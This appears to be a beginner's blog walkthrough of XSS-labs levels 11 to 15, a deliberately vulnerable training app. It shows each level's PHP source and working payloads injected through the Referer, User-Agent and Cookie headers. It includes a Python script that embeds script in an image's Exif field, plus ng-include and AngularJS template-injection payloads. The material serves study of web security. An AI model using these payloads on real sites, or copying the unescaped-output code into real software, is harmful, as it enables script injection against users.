Xss-labs Full Walkthrough & XSS Notes03 • Maxton‘s Blog

Notes compiled by a beginner for learning and reference. I am not a professional; please forgive any oversights. Acknowledgments to others and AI assistance where applicable.

I chose to present the source code directly (normally you cannot see the full backend source, only the page source). On one hand, this saves space used by trial-and-error payloads; on the other hand, it makes it more intuitive for future review without needing to run other tools. I believe most filtering methods can be discovered through testing—just try a few more times. (Okay, actually, I don’t think anyone else will read this; it’s mostly for my own review)

Level 11#

Source Code Presentation

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错！");
 window.location.href="level12.php?keyword=good job!"; 
}
</script>
<title>欢迎来到level11</title>
</head>
<body>
<h1 align=center>欢迎来到level11</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level11.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

php

1.Judging from the source code analysis, this level is full of smoke screens (it’s really impressive if you can solve this without seeing source code; I certainly couldn’t guess it).

<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref"  value="'.$str33.'" type="hidden">

php

No matter what you pass to the four variables given in the problem, it’s useless…

2.The entry point of the problem lies in the HTTP request header.

$str11=$_SERVER['HTTP_REFERER'];

php

Following this, we can see simple filtering for < and >. So we need some auxiliary tools, such as Hackbar, BurpSuite, etc.

3.For example, use BurpSuite to capture the packet and add directly to the end:

Referer: " onclick = alert(1) type="text

plaintext

Level 12#

Source Code Presentation

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错！");
 window.location.href="level13.php?keyword=good job!"; 
}
</script>
<title>欢迎来到level12</title>
</head>
<body>
<h1 align=center>欢迎来到level12</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ua"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level12.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

php

1.Very similar to the previous level, just changed Referer to User-Agent.

2.Still use BurpSuite to capture packets, find User-Agent and construct:

User-Agent:" onclick = alert(1) type="text

plaintext

Level 13#

Source Code Presentation

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错！");
 window.location.href="level14.php"; 
}
</script>
<title>欢迎来到level13</title>
</head>
<body>
<h1 align=center>欢迎来到level13</h1>
<?php 
setcookie("user", "call me maybe?", time()+3600);
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_cook"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level13.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

php

1.No difference from the previous two levels, this time it changed to cookie.

2.The source code writes as follows. Even without seeing source code, capturing packets via BP (BurpSuite) reveals clear clues.

setcookie("user", "call me maybe?", time()+3600);

php

Cookie: user=call+me+maybe%3F

plaintext

The problem hints at modifying the user value to achieve injection.

3.The rest is no different from the above levels.

Cookie: user=" onclick = alert(1) type="text

plaintext

HTTP Header Injection#

Level	Injection Point (HTTP Header)	PHP Receiver Code (Vulnerability Source)	Filtering Status	Core Payload (General)
Level 11	Referer	`$_SERVER['HTTP_REFERER']`	Filters `<` `>` Does not filter `"`	`" onclick=alert(1) type="text`
Level 12	User-Agent	`$_SERVER['HTTP_USER_AGENT']`	Filters `<` `>` Does not filter `"`	`" onclick=alert(1) type="text`
Level 13	Cookie	`$_COOKIE['user']`	Filters `<` `>` Does not filter `"`	`" onclick=alert(1) type="text`

Level 14#

Source Code Presentation

<html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<title>欢迎来到level14</title>
</head>
<body>
<h1 align=center>欢迎来到level14</h1>
<center><iframe name="leftframe" marginwidth=10 marginheight=10 src="http://www.exifviewer.org/" frameborder=no width="80%" scrolling="no" height=80%></iframe></center><center>这关成功后不会自动跳转。成功者<a href=/xss/level15.php?src=1.gif>点我进level15</a></center>
</body>
</html>

html

1.XSS Labs Level 14 is often considered “broken” or “impossible to complete”.

2.We can modify it locally to run it. Since I am in a docker environment, I directly went in and modified level14.php.

<!DOCTYPE html>
<html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<title>欢迎来到level14</title>
</head>
<body>
<h1 align=center>欢迎来到level14</h1>
<center>
    <h3>题目说明：此关卡考查 Exif XSS。</h3>
    <p>原题依赖的外部网站已挂，此处模拟了后端读取 Exif 的逻辑。</p>

    <form action="" method="post" enctype="multipart/form-data">
        <label>选择包含恶意 Exif 信息的图片：</label>
        <input type="file" name="file" />
        <input type="submit" value="上传并分析" />
    </form>
</center>

<?php
// 关闭错误显示，避免干扰
ini_set("display_errors", 0);
// 如果有文件上传
if(isset($_FILES["file"])) {
    // 简单的类型检查
    if ((($_FILES["file"]["type"] == "image/jpeg") || ($_FILES["file"]["type"] == "image/pjpeg"))) {

        $filename = $_FILES["file"]["tmp_name"];

        // 【核心考点还原】
        // 使用 exif_read_data 读取元数据
        // 原题的漏洞在于：读取了 Exif 中的 Model (相机型号) 等字段后，未过滤直接 echo
        $exif = @exif_read_data($filename);

        echo "<center><br><h3>图片分析结果：</h3>";

        if($exif && isset($exif['Model'])) {
            // 漏洞点在这里：直接拼接输出，造成 XSS
            echo "相机型号: " . $exif['Model']; 
        } else {
            echo "未读取到相机型号信息 (Model)，请确保图片带有 Exif 数据。";
        }
        echo "</center>";
    }
}
?>

<center>
    <br><br>
    <div>(成功弹窗后，点击下方链接进入下一关)</div>
    <a href="level15.php">点我进level15</a>
</center>
</body>
</html>

php

For convenience, I didn’t write other filters. You can add them if you want. The ultimate method is roughly the same as previous levels.

3.Then we might as well construct a python script to implement it.

import piexif
from PIL import Image

# 1. 设置 Payload
# 我们要在网页里执行 alert(1)，所以写入 <script>alert(1)</script>
# 注意：写入的位置是 Exif 中的 "Model" (相机型号) 字段
payload = '<script>alert("Level 14 Cracked")</script>'

# 2. 读取原始图片
img_filename = "a.jpg"  # 随便找张jpg图放在同级目录
output_filename = "hack.jpg"

try:
    img = Image.open(img_filename)

    # 3. 构造 Exif 数据
    # Tag 272 对应 Model 属性
    exif_dict = {"0th": {}, "Exif": {}, "GPS": {}, "1st": {}, "thumbnail": None}
    exif_dict["0th"][piexif.ImageIFD.Model] = payload.encode('utf-8')

    # 4. 生成字节流并保存
    exif_bytes = piexif.dump(exif_dict)
    img.save(output_filename, exif=exif_bytes)
    print(f"[+] 生成成功: {output_filename}")
    print("[+] Payload 已写入相机型号字段")

except Exception as e:
    print(f"[-] 出错了: {e}")

python

Exif Injection#

- Core Concepts
  - What is Exif: “Hidden notes” (metadata) of an image, containing camera model, shooting time, GPS, etc. Stored in the JPG file header.
  - Injection Principle: Exif is essentially text. Attackers use tools to modify fields like “Camera Model” into malicious code (like XSS Payload).
  - Trigger Condition: Server-side reads image Exif info (e.g., exif_read_data()) and displays it on the page or stores it in database without filtering.
- Attack Flow
- Creation: Use ExifTool or Python script to write Payload into image fields.
- Upload: Upload the “poisoned” image to the target website.
- Execution:
  - Stored XSS: Triggered when user/admin views image details page.
  - SQL Injection: Triggered when backend stores Exif info into database (less common).

Injection Field (Tag Name)	Meaning	Rating	Reason
Model	Camera Model	⭐⭐⭐⭐⭐	Most commonly read and displayed, Level 14 test point
Make	Camera Manufacturer	⭐⭐⭐⭐⭐	Often displayed together with Model
ImageDescription	Image Description	⭐⭐⭐⭐	Allows longer characters, suitable for long Payloads
UserComment	User Comment	⭐⭐⭐⭐	Specifically for user writing, large capacity
Artist	Photographer/Author	⭐⭐⭐	Some album programs display author name
Copyright	Copyright Info	⭐⭐⭐	Usually displayed at page bottom

Level 15#

Source Code Presentation

<html ng-app>
<head>
        <meta charset="utf-8">
        <script src="angular.min.js"></script>
<script>
window.alert = function()  
{     
confirm("完成的不错！");
 window.location.href="level16.php?keyword=test"; 
}
</script>
<title>欢迎来到level15</title>
</head>
<h1 align=center>欢迎来到第15关，自己想个办法走出去吧！</h1>
<p align=center><img src=level15.png></p>
<?php 
ini_set("display_errors", 0);
$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
?>

php

1.The core technology of this level is AngularJS frontend inclusion vulnerability.

Of course, looking at the page source makes it obvious.

<html ng-app>
<head>
        <meta charset="utf-8">
        <script src="angular.min.js"></script>
<script>
window.alert = function()  
{     
confirm("完成的不错！");
 window.location.href="level16.php?keyword=test"; 
}
</script>
<title>欢迎来到level15</title>
</head>
<h1 align=center>欢迎来到第15关，自己想个办法走出去吧！</h1>
<p align=center><img src=level15.png></p>
<body><span class="ng-include:"></span></body>

php

2.What is ng-include? This is an AngularJS directive. It acts similarly to PHP’s include, used to fetch an external HTML file and display it inside the current tag. Original Design Intent: This level was originally supposed to follow Level 14. The author wanted you to upload an image containing a Payload in Level 14 (e.g., 1.jpg), then reference it in Level 15 (?src='1.jpg'). AngularJS would execute the image as HTML code. But regrettably, Level 14 is broken.

3.However, we can change our approach and start from Level 1. We can construct:

level15.php?src='level1.php?name=<img src=1 onerror=alert(1)>'

html

Why not use <script>? Because HTML loaded via ng-include in AngularJS generally won’t execute direct <script> tags unless specially handled, but the onerror event of <img> tags will definitely trigger.

The reason it works even after passing through htmlspecialchars() via ng-include is because the browser automatically handles entity encoding < restoring it to characters for JS use, or sending it as a URL parameter.

AngularJS#

Knowledge Point	Key Directives/Symbols	Function (Normal)	CTF/Security Point (Hacker View)	Typical Payload / Scenario
Startup Directive	`ng-app`	Defines root element of Angular app, tells framework to start parsing here.	If the page hasn’t enabled Angular, you can inject this attribute to force it on for subsequent attacks.	`<html ng-app>`
File Inclusion	`ng-include`	Loads external HTML fragments and compiles execution.	Bypass Local Filters. Hide XSS Payload in another file or URL, utilizing this directive to “borrow a knife to kill”.	`<div ng-include="'level1.php?x=payload'"></div>`
Template Expression	`{{ }}`	Outputs variables or simple calculation results in HTML.	CSTI (Client-Side Template Injection). Use special constructions to bypass sandbox and execute arbitrary JS code.	`{{constructor.constructor('alert(1)')()}}`
Event Directives	`ng-click` `ng-mouseover`	Binds mouse click, hover, etc. events.	Similar to native `onclick`, but belongs to Angular system, sometimes bypasses filters for standard HTML events.	`<div ng-mouseover="x=1">`
Unsafe HTML	`ng-bind-html`	Binds HTML content to element.	If not used with `$sce` (Strict Contextual Escaping), leads to DOM XSS.	`<div ng-bind-html="user_input">`
Filters	`\|`	`\|` (Pipe)	Format data (like case conversion, sorting).	Sometimes used to obfuscate Payload, or in old versions utilize `orderBy` filters for sandbox escape.
No-Execute	`ng-non-bindable`	Tells Angular NOT to parse content of this element.	Defense Measure. If you see this, it means your injection in this area will be ineffective.	`<span ng-non-bindable>{{1+1}}</span>`